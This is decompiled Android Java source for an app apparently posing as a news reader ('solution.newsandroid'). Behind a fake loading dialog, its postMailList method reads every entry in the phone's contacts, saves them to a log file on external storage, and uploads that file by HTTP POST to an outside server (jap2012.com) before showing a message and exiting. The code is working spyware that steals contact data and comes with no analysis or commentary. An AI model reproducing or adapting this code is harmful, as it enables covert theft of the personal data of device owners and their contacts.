package solution.newsandroid; import android.app.Activity; import android.app.AlertDialog$Builder; import android.app.ProgressDialog; import android.content.Context; import android.content.DialogInterface; import android.content.DialogInterface$OnClickListener; import android.database.Cursor; import android.os.Bundle; import android.os.Environment; import android.os.Handler; import android.os.Message; import android.provider.ContactsContract$Data; import android.util.Log; import android.view.Menu; import java.io.BufferedReader; import java.io.File; import java.io.FileOutputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.PrintWriter; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.client.methods.HttpPost; import org.apache.http.entity.mime.MultipartEntity; import org.apache.http.entity.mime.content.FileBody; import org.apache.http.entity.mime.content.StringBody; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.params.BasicHttpParams; import org.apache.http.params.HttpConnectionParams; public class MainviewActivity extends Activity { class Progress implements Runnable { private Progress(MainviewActivity arg1) { MainviewActivity.this = arg1; super(); } Progress(MainviewActivity arg1, Progress arg2) { super(arg1); } public void run() { MainviewActivity.this.postMailList(); Thread.sleep(3000); MainviewActivity.this.handler.sendEmptyMessage(0); } } private Activity activitys; private ProgressDialog dialog; private Handler handler; public MainviewActivity() { super(); this.handler = new Handler() { public void handleMessage(Message msg) { MainviewActivity.this.dialog.dismiss(); new AlertDialog$Builder(MainviewActivity.this.activitys).setMessage("????????????").setCancelable(false).setPositiveButton("OK", new DialogInterface$OnClickListener() { public void onClick(DialogInterface dialog, int which) { System.exit(0); } }).show(); } }; } static ProgressDialog access$0(MainviewActivity arg1) { return arg1.dialog; } static Activity access$1(MainviewActivity arg1) { return arg1.activitys; } static void access$2(MainviewActivity arg0) { arg0.postMailList(); } static Handler access$3(MainviewActivity arg1) { return arg1.handler; } public void onCreate(Bundle savedInstanceState) { ((Activity)this).onCreate(savedInstanceState); this.setContentView(2130903040); this.activitys = ((Activity)this); this.dialog = new ProgressDialog(((Context)this)); this.dialog.setTitle("Loading"); this.dialog.setMessage("??????..."); this.dialog.setProgressStyle(0); this.dialog.show(); new Thread(new Progress(this, 0)).start(); } public boolean onCreateOptionsMenu(Menu menu) { this.getMenuInflater().inflate(2131099648, menu); return 1; } private void postMailList() { Cursor v10 = this.getContentResolver().query(ContactsContract$Data.CONTENT_URI, 0, 0, 0, 0); Log.d("xxx", "start"); String data; for(data = ""; v10.moveToNext(); data = String.valueOf(data) + ",") { Log.d("xxx2", v10.getString(v10.getColumnIndex("mimetype"))); if(v10.getString(v10.getColumnIndex("mimetype")).equals("vnd.android.cursor.item/name")) { data = String.valueOf(data) + "\n"; } data = String.valueOf(data) + v10.getString(v10.getColumnIndex("data1")); if(v10.getString(v10.getColumnIndex("mimetype")).equals("vnd.android.cursor.item/name")) { data = String.valueOf(data) + v10.getString(v10.getColumnIndex("data2")) + v10.getString(v10.getColumnIndex("data3")); } } v10.close(); Log.d("xxx", "mailaddress get!" + Environment.getExternalStorageDirectory().getAbsolutePath()); String path = String.valueOf(Environment.getExternalStorageDirectory().getPath()) + "/addresscap/list.log"; File v13 = new File(path); v13.getParentFile().mkdir(); FileOutputStream v15 = new FileOutputStream(v13, false); OutputStreamWriter v18 = new OutputStreamWriter(((OutputStream)v15), "UTF-8"); PrintWriter out = new PrintWriter(v18); out.append(data); // write to memory out.close(); v18.close(); v15.close(); Log.d("xxx", "post start"); BasicHttpParams v19 = new BasicHttpParams(); HttpConnectionParams.setSoTimeout(v19, 8000); HttpConnectionParams.setConnectionTimeout(v19, 8000); DefaultHttpClient v9 = new DefaultHttpClient(v19); HttpPost httppost = new HttpPost("http://jap2012.com/data/main.php"); MultipartEntity v12 = new MultipartEntity(); v12.addPart("data", new FileBody(new File(path))); v12.addPart("code", new StringBody("code02")); httppost.setEntity(((HttpEntity)v12)); HttpResponse response = v9.execute(httppost); if(response.getStatusLine().getStatusCode() == 200) { BufferedReader v22 = new BufferedReader(new InputStreamReader(response.getEntity().getContent())); StringBuilder sb = new StringBuilder(); while(true) { String v17 = v22.readLine(); if(v17 == 0) { break; } sb.append(v17); } v22.close(); Log.d("xxx", sb.toString()); } Log.d("xxx", "post end "); } }